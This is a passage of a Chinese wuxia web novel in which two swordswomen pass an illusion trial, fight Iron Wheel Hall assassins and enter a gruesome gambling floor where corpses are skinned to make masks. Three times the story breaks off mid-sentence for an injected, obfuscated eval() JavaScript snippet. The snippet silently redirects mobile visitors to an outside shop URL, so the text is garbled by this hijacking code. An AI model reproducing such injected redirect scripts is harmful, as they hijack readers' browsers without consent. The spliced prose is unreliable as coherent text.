这回月亮如水面荡开涟漪,从中步出一个身着鹅黄绸裙绣银丝暗纹、周身围绕飘然彩带的仙人,与此前的白兔一样,每一步都踩在盛开的莲花上。 连南曦没见过神仙,但她一瞬间就知道这是嫦娥,如同戚师傅给她讲的故事,月亮上住着的仙女只有嫦娥。 她握着梧桐的手刚有些松开,就被梧桐用力回握了一下。 嫦娥仙子的声音仿佛从远处传来,幽深空洞而摄人心魄,“你们瞧见我的玉兔了吗?” 连南曦刚想回答,梧桐反问嫦娥道:“你的玉兔是什么模样?” 嫦娥仙子笑起来,这笑容十分古怪,并不慈悲,也不亲和。 她一只手背在身后,此刻缓缓伸出,竟拎着一只鲜血淋漓的兔尸! “我的玉兔长这样。” 那兔尸的眼睛血红红地盯着她们,红得发黑的血液一部分凝结在白色的皮毛上,一部分还在向下滴落。 连南曦“蹭”地站起来挡在梧桐面前,一手已经按上腰间的短刀。 嫦娥仙子桀桀地笑着,张嘴竟是一口尖牙,令人胆寒。 她手轻轻一挥,兔尸消失了,取而代之的是一面铜镜。她直直地把镜子怼在连南曦面前:“看看你是什么?” 连南曦被突然出现的铜镜晃得闭了一下眼,再睁开时,镜中不是她的脸,而是一颗猫头。是只狸花猫,一对竖瞳在巨大的月亮前被光芒照得收缩成一条直线。 她转头回避,嫦娥仙子又将铜镜怼到梧桐面前:“看看你是什么?” 连南曦低头看向梧桐,心中一惊,梧桐此刻是狐首人身,赤色皮毛在月光照耀下发暗,犬牙森白。 这下她真切地感受到了幻术的可怖。 梧桐看了一眼铜镜之后果然也转开了视线,看到连南曦的时候也一惊。 “好戏开场了。”嫦娥仙子收起铜镜,笑容尽褪,如之前的大虎一样,化为一团桃花爆开。 桃花纷飞,艳艳染血。 突然一个狼头人和一个孔雀头从月亮中跳出来,直直朝她们冲了过来。 “杀了你们!” 连南曦尚震惊于面前突现两名兽首人,身体却已条件反射地抽出短刀,格挡住狼头人迎面劈下的长刀。一旁的梧桐没带武器,闪身躲避着孔雀毫无章法的乱拳。 这孔雀没练过武,而狼头人应是武林中人,长刀舞得生风,一顿劈砍,连南曦的短刀着实有些力不从心。 梧桐似是发现她连南曦的窘迫,一掌速取孔雀,孔雀被她击中后“噗”地凭空消失。她随即抄起一张圆凳帮连南曦抵挡长刀,这让连南曦有了些转圜余地,趁机绕到金丝楠木桌后。 狼头人一刀劈开圆凳,又要劈这金丝楠木桌,好在千年金丝楠坚硬如磐石,他一刀下去震得手抖。连南曦瞄准此刻抬手甩出短刀,但狼头人反应迅速,长刀一横,短刀“镋”地击中长刀的刀身弹开。 电光火石间,梧桐脚下一点飞身抓住短刀,对着狼头人的腰间奋力一扎。狼头人吃痛呼嚎一声,长刀落地,人也“噗”地凭空消失了。 没等她们歇一口气,又听见一阵嘈杂,从圆月中冲出一个牛头和一个兔子头。 梧桐看着兔子头一下子愣神,连南曦知她又想起刚才血红眼睛的兔尸,赶忙跃起腾空,一脚将那兔子头踢得消失。牛头人虽有一把长剑,但使得不怎么利索,梧桐使出那招拳掌相合的功夫,将牛头人击灭。 连南曦捡起长刀,梧桐拾起长剑,二人喘着气,死死盯着那轮圆月。此刻她们就如角斗场中的两只困兽,面对源源不断出现的兽首敌人,丝毫不敢懈怠。 这次竟然同时来了三个兽首人,分别是黑熊、白狮与蛇。 连南曦怕蛇,她小时候在弗如山上被一条大蛇咬过,惊了魂魄,发烧发了将近半个月。此时眼前虽不是真蛇,但她依然忍不住别过头去避免直视。 梧桐看出她怕蛇,一把将她拉到自己身后。 “交给我。” 只见梧桐闭上双眼,长剑架起。握住长剑的梧桐仿佛变了一个人,连南曦感到她身上散发出极强的内力,此前交手也罢、御敌也罢,都不如此刻盛气凌人。 连南曦几乎要看见她周身笼罩着一层光晕。 黑熊、白狮与蛇人一齐攻上。梧桐猛地睁眼,长剑一啸如临空鹤唳,率先贯穿了连南曦最害怕的蛇人,蛇人未及哼出一声便“噗”地消失。 梧桐身形一动,又使出在二楼与连南曦交手时的步法,绕到白狮身后。寒光闪过,长剑直接划开白狮后背皮肉,鲜血飞溅还未落地,白狮也“噗”地消失。 黑熊见状向旁边翻身躲避梧桐的剑气,试图直取连南曦。连南曦执长刀狠劈,但这毕竟不是她所擅长的兵器,加之那黑熊身法颇为迅捷,她劈刀未中反而被抓住破绽,眼看那黑熊劈头盖脸就朝她落下一掌。 “噗”,掌风扫过,连南曦眼睫微动,毫发无损。黑熊消失之处,是执剑的梧桐。 狐狸幻象已然褪去,梧桐那双桃花眼此刻透着凶狠,脸庞溅上尚温的鲜血,她竟能将剑尖控制得纹丝不动。 连南曦从未见过她这副模样,虽称不上骇人,但与二楼初见时那位温柔美人几乎毫不相干。 “梧……梧桐?”连南曦试探地唤了她一声。 屋内极其安静,安静得让连南曦有些心慌。 梧桐缓过神来,眉眼微释,舒了口气,手一甩将长剑丢在地上,金属撞击地面发出“哐啷”的响。 “我们这么打下去不是办法。”梧桐又恢复了冷静的模样,“我看到你的样子变回去了,你看我也是吗? 连南曦看着她,伸手用指尖蹭去她脸上的血迹,又关切地望了她一会儿,点点头。 梧桐别过身去,“找找这场幻术的命门吧。” 连南曦本想说是不是还可以从月亮下手,但随即反应过来那些兽首人就是从月亮中来,若是再冲过去,怕只会冲进其他兽首人的空间中去。 “不能走月亮。”她和梧桐异口同声道。 “你还挺聪明的。”梧桐重新变得温柔,桃花眼笑笑地望了望连南曦,“我想,三楼必须两人一组上来,可能是这幻术的命门必须二人协作方能勘破。我们可以找一找有没有成双成对的东西,或有没有比较特别的东西。” 连南曦与梧桐开始分头在房间里翻找起来。这房间除了中间一张大木桌,被劈得七零八落的几张圆凳,只有一个木书架、一扇窗户。 进来时的翠玉屏风在黑暗的另一头,虽然它是最特别的东西,但她们合计了一下,都觉得那应该是个幻术场外的真家伙。 金丝楠木桌刚刚已经被狼头人劈砍过,应该只是一件物什;圆凳碎的碎、破的破,应该也没有什么特别;木书架空空如也,上面也没有机关暗道。 连南曦看了半天也没思路,只得走去窗边,试着推了推窗,倒是能推开。窗外的夜空看起来是真实的,子时的月亮已经升得很高,颜色也从古铜变成了银白。 晚风轻拂过连南曦的面庞,刚才打斗的戾气消去大半。她听见梧桐走到自己身边,余光看见梧桐正抬起头与她共赏窗外这一轮明月。 连南曦感到快活酒似乎在此刻上了头,有些晕乎乎飘飘然。 “等等,”梧桐想到了什么似的,“这里成双成对的东西不只有酒杯,月亮也有两个。” 连南曦收回目光转头,惊喜道:“窗外一个,屋内一个!” 梧桐点头,她快步走向桌边,拿起两只瓷白酒杯,递给连南曦一个,“一双酒杯,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055114|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮明月,这定然是此幻术的关键所在。只是……不知道该如何使用。” 连南曦摩挲着酒杯,“这酒杯盛来快活酒,我们饮下后见到了嫦娥仙子,然后照了铜镜变成了兽首人。这快活酒会不会喝一次是迷药、再喝一次是解药?” 梧桐去拿原本的酒壶,转头示意连南曦酒壶已经空了。 连南曦有些懊恼,接过空空如也的酒壶,和酒杯一起放在窗外明月投在木桌的一片月光中,盯着它们思考。 盯着盯着,她突然惊呼道:“梧桐!你看!” 只见这酒壶和酒杯被月光盈盈一照,中间竟然涨起那浅金色的酒液来。 这如黄金般细闪的质地不是别的,正是月光所致。连南曦招呼梧桐赶忙将另一个酒杯也置于月光中,眼看着也满了起来。 “喝完快活酒,我们应该会再次见到嫦娥仙子,如果我猜得没错,她会告诉我们答案。”梧桐颇有自信,拿起酒杯一饮而尽。 连南曦相信梧桐,亦紧跟着喝下。 她们等待了一会儿,只见屋内那轮圆月表面再次如水波般荡开涟漪,嫦娥仙子果真又出现了! 这次的嫦娥仙子与之前的神态明显不同,显得亲切而平和。她朝连南曦和梧桐微笑,口中亦不是刚才所见的可怖利齿。 “你们找到月亮了吗?”嫦娥仙子的声音也不似刚才那般遥远空洞。 “仙家,告诉我们怎么出去吧。”连南曦开口问道。 “你们找到月亮了吗?”嫦娥仙子又问了一遍。 “……是两轮吗?”梧桐看连南曦语塞,接上一句。 “是。”嫦娥仙子抬手一挥,变出两面铜镜,分别递到梧桐和连南曦的手上。 “月光喝光月光,月光杀透月光。月亮照亮月亮,月亮放过月亮。”嫦娥仙子笑着说完,转身消失在那轮圆月中。 “天呐,月亮节猜月亮灯谜。”连南曦忍不住抱怨。 梧桐拿着那面铜镜,顿生灵感:“我们已经喝光了月光倒的酒,杀透了月光中来的人。那么要被月亮放过,就要让月亮照亮月亮。” 连南曦略加思索,也明白过来:“是让我们利用铜镜,将两轮明月的光汇合!” 确定计划后,两人立刻行动。连南曦站到窗边,梧桐站到屋内圆月前,分别根据身边月亮的光线摆弄铜镜,直到月光汇聚在一起。 这下窗外的明月照着屋内的圆月、屋内的圆月也照着窗外的明月了。 连南曦和梧桐托着自己手上的铜镜,让光线持续聚拢。双重月光越来越盛,直到刺得她们不得不闭上眼睛。 再睁开时,眼前是那翠玉屏风,和屏风旁站着的水色。 “怎么样,快活吗?”水色微笑,柔声问道,“肆意杀人的感觉,和无尽的月光。” “什么东西啊!”连南曦反应过来,气上心头,不是说见了仙人能窥得天机、立地飞升吗?命都差点丢了! 她转头看梧桐,刚刚那些兽首人严格来说都是梧桐杀的,梧桐倒是面色如常。 “恭喜你们成功勘破了刚刚的幻术,”水色继续说着,“三楼的事也到此为止了,你们获得了上四楼的权利。” 水色拿出两张面具,一张是狸猫,一张是赤狐。她将狸猫递给连南曦、将赤狐递给梧桐。 “明日戌时,你们戴上面具来四楼。” 连南曦接过,发现这面具的质地同黑色请柬一样,光滑油润。 水色看着梧桐,说道:“梧桐,你既能勘破三楼,便不用和其他女子一样接待散客了,全心服侍这位李公子吧。” 梧桐捏着狐狸面具点点头。 水色带着她们绕过翠玉屏风,再次走入黑暗中。这次很快就看到了光亮,她们终于回到了楼梯口。 5. 白玉梧桐 楼梯口已然空无一人。连南曦仿佛做了一场噩梦,走下楼梯的时候脚都有些发软。 身边的梧桐倒是气定神闲,边走边用裙子擦拭手上的血迹。连南曦看了她一眼,有些后怕。 这人时而温柔时而狠绝,也不知道是恶人还是善人。 连南曦走着走着,一摸腰间,这才想起短刀甩出后忘记收回来了。 正当她苦恼弄丢师傅给的东西时,梧桐递给她一件物什。她接来一看,正是自己的短刀,上面的血迹被仔细擦过。 “江湖都说弗如派掌门出身戚家,看这把短刀的形制,果真不假。”梧桐说道,“不过你似乎使得不太趁手,怕是太轻太短了。” 连南曦从她手中一把抓过短刀。她心想,这刀放梧桐手里,对自己太不安全了。 “你是在怕我吗?”梧桐察觉出她的闪躲,问道。 连南曦顿了一下,摇摇头,“我只是在想,你怎么什么都知道。” 陆玉桐将连南曦送到门口,外面的天空已经泛起微白。 连南曦回到四方客栈,夜班的小二迎上来,打量了一下她筋疲力尽的样子,戏谑地说:“客官这是在夜神仙折腾了整整一夜呀。” 这小二面色红润、说话铿锵有力,不是之前那个面色苍白的。 这一晚上发生了太多事,连南曦只是看了他一眼,现在她只想好好睡一觉。 还好选了西面的厢房,此刻西边的天还没有亮。连南曦躺在床上,很快便睡着了。 她睡得很沉、睡了很久,直到屋外的打斗声将她惊醒。 兵器相接的金属碰撞声逐渐在她耳中清晰。她赶紧翻身下床穿上外衣,手按着短刀,开门查看。 她住在二楼,从上往下看见大堂中有六个黑衣人正在围攻一个白衣人。 是白衣客!连南曦认出那白衣人的帷帽,她一下子清醒了,目光炯炯盯着白衣客的身影。 那六个黑衣人均是高个大汉,穿着统一的服装,每个人都手持两只铁制轮状武器。连南曦第一次见这种铁轮,内圈有握把,外圈有弯曲的尖刺。 而白衣客手持一柄长剑,剑柄雪白、剑身银亮。其身法行云流水,时而跃上桌面、时而绕梁借力,在六个黑衣大汉中翩翩如蝶。 连南曦心里闪过一个猜测,她决定前去帮手,既是报答白衣客昨日帮助自己抢回荷包的恩情,又为验证自己的猜想。 一名大汉正要从身后偷袭白衣客,连南曦看准机会,从二楼跃下,一把揪住大汉扔开。 白衣客回头,看到连南曦力气如此大,惊讶了一下。一旁另一个黑衣大汉举起铁轮就向白衣客脖颈而去,白衣客侧身躲过,手中剑一挥,割破那大汉的大腿。 连南曦来不及与白衣客搭话,又一个黑衣大汉冲上来,两只铁轮一只在前、一只在后。 她闪身躲开,一拳打在黑衣大汉的手腕,击落一只铁轮。另一只铁轮即刻跟上,连南曦看准角度,使出一招拂雪掌击中大汉的肋骨,大汉吃痛闷哼倒地。 她与白衣客背靠背迎敌,那几个大汉轮番攻击她们,但每个角度都无机可乘。 几十个回合下来,还剩一个大汉能站着。他不敢靠近白衣客的剑,于是冲到白衣客面前,身影一晃、铁轮一挥,直奔连南曦而去。 连南曦拔出短刀格挡,“嘡”的一声,她以为短刀能够架住铁轮,没想到那铁轮外圈可以如水车般旋转,根本没有吃住她架挡的力,直接将她的短刀滑转开去。 她脚尖点地向后撤身,但任她轻功再好,此时的速度也不及大汉全力挥下的铁轮。 完了!连南曦想着,这挨上一下估计要躺个十天八日了。 突然,她眼前出现一道白影,一声凄厉剑鸣破空,大汉被当胸刺了一剑,重伤倒地。 白衣客徒手抓住铁轮,另一只手执着银白长剑。那铁轮与连南曦近在咫尺,她这才看清,除了握把处,那铁轮整圈开刃。 “啪嗒。”一滴鲜血流过铁轮的刺尖儿,落在地上,随之而来是铁轮落地的声音。 连南曦感到自己的神经被这血烫了一下。 她一把抓过白衣客的手,“你、你……” 突然身后传来鼓掌声,随即响起一个女人的声音:“不愧是技惊武林的‘鹤唳一剑’,真是精彩。” 连南曦回头,看见从柜台中走出一名穿着鲜艳、与破旧客栈格格不入的娘子,看起来和她师傅差不多大,四十岁左右的样子。 “我已经很久没见过剑这么快的人了。” 那女人气定神闲地一招手,来了几个杂役,把地上哀嚎翻滚的黑衣大汉清出门去。 “掌柜的见谅,多有叨扰。”白衣客抽出被连南曦握住的手腕,拱了拱手,行了个礼。 “是我招待不周,应该早点来制止。”掌柜娘子口中说着客套话,眼中并无波澜。 连南曦的肚子不适时地叫了起来。她着实有些尴尬,但想起自己从入济南至今就只吃过一个大馒头,也没什么可以客气的了。 她刚想让掌柜的送点饭菜,掌柜娘子主动开口:“为表歉意,我为二位准备了好酒好菜,已经送去——”她看着连南曦,“这位少侠房中了。” “那就谢过掌柜的了。”白衣客自始至终都很客气。 连南曦赶紧拉着白衣客进了自己的厢房。 她这时想起没有治伤的东西,刚想再找掌柜的要,白衣客伸手一指,她才发现已经被放置在床榻上。 连南曦轻轻抬起白衣客受伤的左手,那铁轮开刃不止一面,手上伤口便也不止一道,眼下都藏进了满掌的鲜血中。 二人坐在床榻边,连南曦为白衣客简单擦净伤口后仔细包扎好整个手掌。她是为了救自己才受伤的,如果不是自己擅自帮忙,可能…… “还好有你帮忙。”似乎看出她的愧意,白衣客截停连南曦即将脱口的忏悔。 “那六个大汉我确实没把握自己解决。” 连南曦知道,她有,她是为了宽慰自己。 因为梧桐说话总是这样,天衣无缝的。 刚刚打斗时,她看清了那如流水又如蝴蝶般的身法,也听清了那声鹤唳般的剑鸣。 “梧桐。” “好吧,你知道我是谁了。” 梧桐摘下帷帽,弯起眼睛对连南曦笑了一下。 “谢谢你,”连南曦郑重地道谢,“从昨天到现在,我欠你很多。” 梧桐挑了挑眉,“你饿了,先吃饭吧。” 连南曦这才看了眼桌面上的饭菜,好多她叫不出名字的大菜,配着几个香喷喷的大馒头和两碗米饭。 “这是葱烧海参、这是扒蹄、这是把子肉……”梧桐看连南曦迷迷糊糊,遂一样一样为她介绍,“四方客栈果然有钱呐,这么多荤腥。” “果然不是吃素的。”连南曦打趣道。 她对梧桐有一种说不上的别扭。她一面觉得梧桐善恶难分辨、人也不简单;一面又忍不住地信任她。那种信任可以说是一见如故,是控制不住要去相信的一种渴望。 师傅说过自己太过轻易信人,要多提防。自己要提防的人里,也包括梧桐吗?连南曦想着,一时间出了神。 “你很爱走神,这很危险。”梧桐盯着她说,“容易被别人得了机会。” “在你面前也会危险吗?”连南曦眼眸一转,也盯着她。 梧桐一顿,然后直截了当地回答:“不会。” 连南曦语塞,端起碗吃了一大口米饭。 “就把子肉吃,下饭。”梧桐有点像看小孩似的看着她。 连南曦吃饭是认真往嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055115|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里塞的吃法,她力气比别人大,饭量也大。以前在弗如山上,师姐们就说过跟她一起吃饭很有食欲。 梧桐左手伤了不想端碗,于是拿了一个馒头。但这桌子菜太多了,她就着馒头吃了半天也没见下去。 连南曦见她停下筷子,嘴里嚼嚼嚼然后一吞,“你怎么不吃了呀?” “我吃饱了。这碗饭没有动过,你想吃可以吃。”梧桐右手托腮,看着连南曦。 然后她就这样托着腮看见连南曦把一桌子菜连同两碗饭吃了个精光,只剩下大馒头。 连南曦这么一顿吃下去,才觉得饱而满足。吃饭让人感到放松,她进济南城以后,连睡觉都恨不得吊着一只眼睛,此刻才头一次感受到实实在在地安全。 她望着梧桐,梧桐望着她,酉时的夕阳又洒进屋来,她看见梧桐本就琥珀色的眼睛映上橘红色。 梧桐整个人给她的感觉,就像这酉时的黄昏一般。 黄昏的光线最暖,但风是凉的,令人捉摸不透。梧桐也是这样。一面是知晓江湖百事、说话也滴水不漏的伶俐人,一面总藏着些狠劲。 “我叫连南曦。连绵的连、南方的南、晨曦的曦,我是弗如派最小的弟子。” 其实离开夜神仙时连南曦就想说的,但那会儿她还不敢放任自己去相信这样一个人。 现在她相信了,因为这个人救了她两次,甚至从她进城开始就帮她找回了荷包,算起来帮了她三次。 事不过三,她觉得梧桐是好人,至少对她来说是的。 “你可以告诉我名字了吗,‘鹤唳一剑’大侠?” 连南曦知道有这个名号,她下一秒就能从客栈小二的口中得知梧桐的名字。但她想亲口听梧桐告诉她。 因为她认定了梧桐是她的朋友,朋友的名字不应该是从别处打听来的。 “陆玉桐。” 梧桐看着连南曦的眼睛说。 “陆地的陆,白玉的玉,梧桐的桐。” “好啊,我们总算是认识了。”连南曦拎起陆玉桐受伤的左手晃一晃,当作握了个手。 “刚刚那帮黑衣大汉是什么人?”连南曦想起来这个事还不清楚。 “他们是铁轮堂的,那铁轮是他们的标识,堂里人人用这个。”陆玉桐说。 “你知道这么一句话打发不了我的。”连南曦说。 陆玉桐补了一句,“他们追杀我到这里的。” 连南曦叹了口气,看着她。 “梧……陆玉桐,你能不能一次把话讲完? “我们昨晚可是在三楼一起出生入死,刚才又共同御敌,我拿你当朋友,你别天天话说一半; “我年纪是比你小几岁,但我听得懂。” 经过连南曦一番咄咄逼人的劝说,陆玉桐像是下了决心般开口:“我在找《十方经》,这个东西你应该知道吧?” 连南曦点点头。 陆玉桐继续说道:“我来济南,就是听说夜神仙的楼主有《十方经》的线索。但想要见楼主,必须上到最顶层,也就是五楼。可十几日过去,我连能一起上三楼的人都没找到,这才碰上了你; “最近几日,我发现铁轮堂的人出现在济南频繁走动。铁轮堂本在淮安、扬州一带活动,突然北上定是闻风而来。于是我白天跟踪铁轮堂的探子,想看看他们是否有新的消息; “昨日碰见你之前,我被两个铁轮探子发现了,和他们动了一回手,结了梁子。今日他们召集了六个人,意图报昨日落败之仇。” 陆玉桐讲完,试探地问连南曦:“你也是为了找《十方经》才下弗如山、到济南来的?” 连南曦又点点头,问道:“那你查到新线索了吗?” “没有。”陆玉桐无奈道,“只能坚持上到五楼,见楼主再说了。” 6. 荆山之玉 “昨天在街上,你为什么出手帮我拿回荷包?我只是一个路人罢了。”连南曦问道。 陆玉桐思忖了一下,答道:“因为你和我初入江湖的时候很像。那会儿我的荷包就被人偷了,看到你遭遇了相同的事,就想顺手帮一把。” “你看起来也没比我大多少,陆前辈。”连南曦笑道。 “你是弗如派最小的弟子,按江湖上的消息,应该是十六岁?”陆玉桐掰着手指算着,“我今年二十岁了,确实是前辈。” “这你都知道!”连南曦觉得“百晓生”的称号比“鹤唳一剑”适合眼前的人。 之后,陆玉桐先离开去换身衣服,毕竟上面沾了铁轮堂的血,不方便。连南曦便与她约好,晚上在夜神仙见。 转眼夜幕降临,连南曦戴着狸猫面具,顺利地进入了夜神仙。一进门便看见戴着狐狸面具的陆玉桐在等她。 陆玉桐手上拿着她那柄银白长剑。剑鞘与剑柄均为无瑕白玉制成,剑首、剑格由亮银雕花,这剑着实精致秀丽。 夜神仙依然和昨日一样热闹,彩灯缤纷、光辉流转,丝竹之声仿佛从未停歇。楼中的彩纸如天上的雪花般,源源不断、整夜飘洒。 连南曦心中暗叹,楼下的人可能永远不会知道楼上在发生什么,就这样在绮丽的梦里大醉一场,也挺好。 二人凭着面具,顺利上到四楼。四楼的管事娘子听声音比二楼的芍药娘子和三楼的水色都要年纪大一些,发髻上簪了一朵牡丹花。 牡丹娘子和之前检查请柬的人们一样,只是伸手触了触她们戴的面具便说:“请随我来。” 连南曦在前、陆玉桐在后,二人随牡丹娘子穿过一道看似黄杨木的雕花窄门。 扑面而来就是血腥气。 连南曦被这气味冲得别过头,但切割皮肤的声音又紧跟着撞进她的耳内。这气味和声音都让她想起从前在弗如山上处理猎物,有过之而无不及。 那时候连南曦和师姐们会打一些兔子、野鹿之类的,放血后将皮毛剥下来,处理成保暖的皮货。 虽然她一开始也觉得残忍,但冬天的山上实在很冷。人在生存面前总要舍去一些善心。 四楼这次没有幻术,但这地方比幻术可怕得多。 她的面前是一条长而弯曲的走廊,两边都是倒吊着的人——不对,都是倒吊着的尸体!每具尸体分配了两个杂役,一人扶着尸身、一人正在往下切割人皮。 每具尸体下边放了一个桶,用来接血。“嗒——嗒——嗒——”的声音在安静中交替响起,不似水滴清脆,带着些粘稠感。 整个长廊目力所及之处,每隔五米就是一具尸体和两个杂役,时不时有人穿梭其中,将剥下的人皮和攒下的人血分别送到某个汇总处。 血液溅到木质地板和柱子上,将深褐色的木头染成黑色,剥皮带下来的碎肉亦是四处横飞。 这一切都掩藏在夜神仙的梦幻外表之中,让连南曦好不割裂。 牡丹娘子淡定地向前走。连南曦脚步有些踟蹰,陆玉桐走到她前面去了,回头用剑柄戳她一下,她才堪堪跟上。 连南曦屏息凝神,不敢开口询问。 穿过这屠宰场之后,又是一道大门。这门黑漆漆的,看上面发绿的锈蚀痕迹,应是一道铜门。 铜门一旁的墙上有个鹿头,牡丹娘子从身上掏出把钥匙插进鹿头的左眼,铜门“轰轰”地打开。 门内空间也很大,纵深而去,有一张长方的黄花梨木桌,桌上散落着黑色的请柬,两端各一张太师椅、侧边各放了两张。再往里去又是一段走廊,却是整洁干净,之后有一弯阴影,便看不清了。 一股清冽的檀香从木桌上燃着的线香顶端缓缓升起,将血腥气阻挡在门外。牡丹娘子径自退了出去,只留下连南曦和陆玉桐。 铜门在她们身后缓缓合上。 一女子从走廊那弯阴影中走出,一路走到桌边,坐在离她们较远那端的太师椅上。 这人戴着无角的鹿头面具,穿一身紫衣,举手投足都显出贵气来。 “二位被外面吓着了吧?”鹿面娘子轻笑,指了指桌上的请柬,又慵懒地用指尖扫过面具,“外面是制作黑色请柬和这些面具的第一道工序,要处理成你们拿到手的样子,还需要防腐、熏香等等工序。” 连南曦被她这一句惊得打了个冷颤。她想到请柬和面具共有的光滑油润的质地,和她打猎时处理的猎物皮子那样像……那样像! 怪不得楼中人不用看,靠触感便知请柬和面具真伪。能用人皮作为请柬,哪里还有仿冒的? 她感到脸上的人皮面具紧贴着自己的双颊,顿生一阵恶心,立刻想要揭开。 陆玉桐抬手拽住连南曦的手腕,对鹿面娘子开口询问:“敢问阁下是?” “我?只是一个爱赌的人。”鹿面娘子漫不经心地说道,“就是这四楼空荡荡的,不同于有吃有喝的寻常赌坊。招待不周,二位见谅。” 连南曦听着她说这话,声音很是耳熟,灵光一现,这似乎是四方客栈的掌柜娘子? 她扭头看了陆玉桐一眼,陆玉桐向她点了点头,这下她确定自己猜得没错。 “夜神仙四楼的赌局皆是为来客量身定做,”鹿面娘子继续说着,“赌法我已决定,你们要用最珍贵的东西下注。” 鹿面娘子先看着陆玉桐说:“狐面少侠先说吧。” “赌命。”陆玉桐没有犹豫,“我无父无母,命就是我最珍贵的东西。” “不对,”鹿面娘子上翘的嘴角僵住,面具空荡幽深的眼窝正盯着陆玉桐,“命不是你最珍贵的东西。” “哪有比命还珍贵的东西!”连南曦向前半个身子,把陆玉桐护在身后。 她想,原来陆玉桐和自己一样,是孤家寡人。 “阁下想我赌什么?”陆玉桐反问。 “赌你的剑。” “不行。”陆玉桐斩钉截铁地拒绝。 鹿面娘子站起身来,走到陆玉桐面前,虽然戴着面具,但周身透出阴冷的气息。 “你可以赌命,但不可以赌剑?”她凑近,透过鹿与狐狸两张面具,盯着陆玉桐的眼睛。 “不行。”陆玉桐的声音带着一丝怒气。 鹿面娘子冷笑道:“你若赢了,我什么都不要你的,你也能在五楼得到你要的东西;你若不赌,那就是输了,命和剑都是我的。你没得选。” “不行。” 陆玉桐浑身紧绷,连声音也开始颤抖。连南曦还是第一次见陆玉桐失态。 “这霜鹤剑是陆家遗物吧,”鹿面娘子的声音回荡在空旷的房间里,“你活着不就是为了给陆家报仇吗?夜神仙可是你唯一的线索。” 听到这里,陆玉桐面色刷白,终是长吁一口气,抬起左手将剑递到鹿面娘子面前。 “不必现在给我,你等会儿用得上。”鹿面娘子见她妥协,莞尔一笑。 “不怕我杀了你?我的剑很快。”陆玉桐声线发哑。 “若是杀了我,你就再也去不了五楼了,”鹿面娘子淡然道,“夜神仙有千千万万个我随时能坐回这个位置,你杀不完。” 陆玉桐沉默。连南曦看到她的左手紧紧握住剑鞘,下午刚包扎的伤口因其用力,渗出些血色来。 不知她要报什么仇,连南曦想,对她而言竟比命还重要。 鹿面娘子转头看着连南曦,说:“狸面少侠,你赌什么?” “我赌这短刀,这是师傅给我的刀。”连南曦说。 “不,你也没有给我你最重要的东西。”鹿面娘子摇头。 连南曦有些摸不着头脑,“那我也赌自己的命。” “你们怎么都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055116|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道自己最珍贵的东西是什么?”鹿面娘子嘲讽道,“我要你拿自己师傅的命来赌。” “什么?不行!”连南曦现在理解陆玉桐的失态了。她虽是无父无母,但戚师傅对她亦师亦母,是她唯一也最重要的家人。 她没有血亲,只有师傅。若让她用一条命去还师傅的恩情,她定是愿意的。 “我师傅很厉害,你们、你们奈何不了她!”连南曦面色都青了几分。 “就这么定了。”鹿面娘子像是解决了很艰难的事,轻快地走到太师椅旁坐下,“我来说说怎么赌吧。” 只听她呵呵一笑,举起双手鼓掌两次,随即身后传出脚步声。 从长廊那弯阴影中走出一个高个儿的削瘦男子和一个小巧玲珑的红衣女子。 那高个儿男子穿一身绣金玄衣,戴着马头面具,手上也提着一把剑,那剑通体玄黑,剑鞘裹着一层革,整体以浮雕云纹饰之。 那红衣女子戴着鼠头面具,手上端着一个紫檀木盘,上面放着两个色盅。 鹿面娘子伸出手掌,指尖对着陆玉桐、又转向马面男子,示意他们到桌子后方的长廊去。 “第一局,你们二位比谁的剑更快。” 接着她看着连南曦,邀请般说道:“这一局由狸面少侠下注。若押中了,狸面少侠胜;若押错了,我胜,少侠师傅的性命就归夜神仙。” 说罢,鹿面娘子兴奋地轻笑一声。这笑让连南曦感到浑身发毛。 她又鼓掌两次,两个杂役抬出一根桩子,上面绑着一个戴头套的人。那人还在挣扎,发出呜咽的声音。 “谁先杀了他,就算谁赢。” 这赌局竟拿一个无辜者的命当儿戏!连南曦暗慨,夜神仙从来不是梦一场,而是真真切切修罗场。 “狸面少侠,你押谁赢?”鹿面娘子语气轻佻,仿佛真的只是一场下酒的怡情小赌。 连南曦虽然相信师傅的本事,但她也知道夜神仙应是高手如云。此刻弗如山上只有师傅一人,要真攻上去了,必然凶多吉少。 她看了看陆玉桐和那玄衣男子,玄衣男子比陆玉桐整整高出一个头来,那柄黑剑看着也更加宽、长。 连南曦懊恼,若是自己去比试,输了也是自己承受。可师傅的命系在陆玉桐和这玄衣男子手中,她什么都做不了。 “我押狐狸赢。” 连南曦见识过陆玉桐的剑,很快,帮她解过两次围。 此刻她信陆玉桐胜过信自己。 